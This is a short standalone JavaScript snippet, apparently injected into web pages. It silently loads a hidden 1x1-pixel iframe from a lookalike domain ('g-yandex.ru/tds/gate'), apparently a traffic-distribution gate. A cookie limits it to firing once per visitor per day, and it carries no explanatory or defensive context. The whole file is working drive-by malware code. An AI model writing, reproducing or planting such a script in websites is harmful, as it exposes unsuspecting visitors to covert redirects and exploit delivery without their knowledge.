var domain = "http://g-yandex.ru/tds/gate";
function addCookie(szName, szValue, dtDaysExpires) {
var dtExpires = new Date();
var dtExpiryDate = "";
dtExpires.setTime(dtExpires.getTime() + dtDaysExpires * 24 * 60 * 60 * 1000);
dtExpiryDate = dtExpires.toGMTString();
document.cookie = szName + "=" + szValue + ";expires=" + dtExpiryDate
}
function findCookie(szName) {
var i = 0;
var nStartPosition = 0;
var nEndPosition = 0;
var szCookieString = document.cookie;
while (i <= szCookieString.length) {
nStartPosition = i;
nEndPosition = nStartPosition + szName.length;
if (szCookieString.substring(nStartPosition, nEndPosition) == szName) {
nStartPosition = nEndPosition + 1;
nEndPosition = document.cookie.indexOf(";", nStartPosition);
if (nEndPosition < nStartPosition) nEndPosition = document.cookie.length;
return document.cookie.substring(nStartPosition, nEndPosition);
break
}
i++
}
return ""
}
var szCookieString = document.cookie;
if (findCookie("expsid") == "a0192e992bb5e61d51be0ae009c76edd") {} else {
addCookie("expsid", "a0192e992bb5e61d51be0ae009c76edd", 1);
document.write('<iframe src="' + domain + '" name="facebook" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');
}